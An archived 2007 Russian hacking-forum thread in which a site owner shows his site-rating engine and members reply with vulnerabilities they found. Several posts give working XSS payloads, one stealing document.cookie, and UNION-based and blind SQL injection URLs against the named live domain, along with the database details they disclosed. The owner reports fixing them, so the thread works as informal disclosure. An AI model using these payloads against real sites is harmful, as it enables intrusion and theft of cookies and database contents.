ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Обсуждение Ваших сайтов (https://forum.antichat.xyz/forumdisplay.php?f=38)
-   -   Зацените мой Рейтинг Сайтов (https://forum.antichat.xyz/showthread.php?t=43387)

Leon1010 08.08.2007 01:46

Цитата:

Сообщение от RAUL07
а вот и КСС ))
http://yandeg.ru/top.php?cat=%22%3E%3Cscript%3Ealert()%3C/script%3E

Спасибо, профиксил.

Darkweider 09.08.2007 11:37

Движок чей-то взял или свой? На что-то похоже... А так неплохо!

Rast1k 09.08.2007 22:02

НУ впринципе сайт прикольный)))Но слишком много различных элементов, связанных с графикой.

Интересно придуман каркас. Вид таблицы делает четкостью

Неплохо обеспечено функциональное предназначение страницы. Есть некоторые спорные моменты в реализации навигации.

Zliden 17.08.2007 15:50

сайт зачотный:)
есть похожие движки в паблике или продаются мож где?
подкинье названия плиз

+toxa+ 17.08.2007 16:18

Код:

http://yandeg.ru/stat.php?id=99+union+select+1,2,3,4,55,6,convert(version()+using+cp1251),8,9,10,11,12,13,14,15,16,17,18,19/*
Код:

http://yandeg.ru/stat.php?id=1 and substring(version(),1,1)=4/*
version() = 4.1.15-log
user() = leon_top@localhost
database() = leon_top

http://yandeg.ru/cod.php
Цитата:

Введите Ваш ID:
</textarea><script>alert(document.cookie)</script>
Код:

http://yandeg.ru/count/cnt.php?id=1 and substring(version(),1,1)=4

Leon1010 22.08.2007 16:20

Цитата:

Сообщение от +toxa+
http://yandeg.ru/cod.php
Код:

Введите Ваш ID:
</textarea><script>alert(document.cookie)</script>


Спасибо, профиксил.


Цитата:

Сообщение от +toxa+
Код:

http://yandeg.ru/stat.php?id=99+union+select+1,2,3,4,55,6,convert(version()+using+cp1251),8,9,10,11,12,13,14,15,16,17,18,19/*
http://yandeg.ru/stat.php?id=1 and substring(version(),1,1)=4/*
http://yandeg.ru/count/cnt.php?id=1 and substring(version(),1,1)=4


Эмм... несовсем к сожалению понятно что из себя представляют эти строчки. ведь там ничего лишнего не отображается (никаких параметров мискли и т.п.)


Цитата:

Сообщение от Darkweider
Движок чей-то взял или свой? На что-то похоже... А так неплохо!

На top.mail.ru немного похоже ;)


Цитата:

Сообщение от Zliden
есть похожие движки в паблике или продаются мож где?
подкинье названия плиз

В паблике есть движки рейтингов но все кто со статистикой обычно гнутся уже после 50 зареганых сайтов по причине дебильно составленного кода и структуры мискли. Поэтому если взять такой движок. то придется вносить существенные изменения во всю структуру такого скрипта (что я и сделал).
К таким относится: SilverTop, SmartTop, Tsite и т.п.
Поэтому я советую купить уже готовый и хорошо отлаженый скрипт, но подобных я еще не встречал ;)

Elvis000 22.08.2007 16:33

Простенько, но со вкусом. :)

Рейтинг топ 10 как-то пусто смотрится.

+toxa+ 22.08.2007 17:20

Цитата:

Эмм... несовсем к сожалению понятно что из себя представляют эти строчки. ведь там ничего лишнего не отображается (никаких параметров мискли и т.п.)
если запрос верный, то страница отображается как надо, если неверный, то не отображается/отображается с ошибкой
http://injection.rulezz.ru/mysql_char_brute.html

а по поводу первого...
Код:

http://yandeg.ru/stat.php?id=99+union+select+1,2,3,4,55,6,convert(concat(0x3C68313E,version(),0x3C2F68313E)+using+cp1251),8,9,10,11,12,13,14,15,16,17,18,19/*
без пробела

.Slim 23.08.2007 03:18

дизинг прикольный в сторону яда ты отжёг))
ЯндеГ боянь =)

Leon1010 31.08.2007 22:03

2+toxa+. Спасибо, вроде все профиксил.

Начал создание новой фишки в статистике пользователей "Анализ продвижения сайта". Вот пример - http://yandeg.ru/stat.php?id=110&sort=4


Время: 12:35